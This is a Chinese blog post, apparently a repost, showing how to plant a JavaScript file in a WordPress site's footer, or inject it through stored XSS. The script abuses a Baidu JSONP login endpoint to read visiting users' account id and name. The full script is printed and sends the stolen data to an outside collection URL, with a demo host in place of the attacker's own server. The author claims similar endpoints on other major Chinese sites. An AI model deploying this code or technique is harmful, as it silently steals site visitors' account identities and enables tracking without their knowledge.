我在本地环境搭建了一个WordPress网站,并在该网站中植入JavaScript文件。如果访客在浏览网站时登录了百度账号,该js文件能够利用JSONP获取网站访客的百度账号信息。
具体情况如下:
1、首先修改WordPress的footer.php文件,引入2个外部JavaScript文件。第一个是jQuery库,第二个是jsonp代码。在实际渗透中,如果该网站存在存储型XSS漏洞,我们就可以将xss_jsonp.js文件植入进去。
2、xss_jsonp.js文件内容如下,具体功能是通过JSONP获取百度账号信息,并上传到服务器上。为了做演示,这里我把获取到的信息上传到www.sogou.com,在实际渗透中,你可以把信息上传到自己的服务器上。
1 function jsonp_baidu() { 2 window._baidu_1 = function(object) { 3 if(!object.id) { 4 return; 5 } 6 var data = {}; 7 data.id = object.id; 8 data.name = object.name; 9 $.post(saveUrl + ‘?act=baidu‘, data); 10 }; 11 $.ajax({ 12 url: "https://baike.baidu.com/api/login/", 13 type: "GET", 14 dataType: "jsonp", 15 jsonp: ‘callback‘, 16 jsonpCallback: "_baidu_1", 17 }); 18 } 19 var saveUrl = ‘https://www.sogou.com/xss_jsonp.php‘; 20 jsonp_baidu();
3、访问网站并观察刚才植入的js代码是否执行。
访问百度的JSONP接口,服务器返回登录账号的相关信息。
获取到百度账号信息后,上传到www.sogou.com服务器。
目前,我已经找到了百度、淘宝、京东、腾讯、新浪、爱奇艺等多个国内流行网站的JSONP接口,从这些接口可以获取用户账号信息。
原文地址:https://www.cnblogs.com/dgjnszf/p/10793535.html
时间: 2024-10-22 12:43:31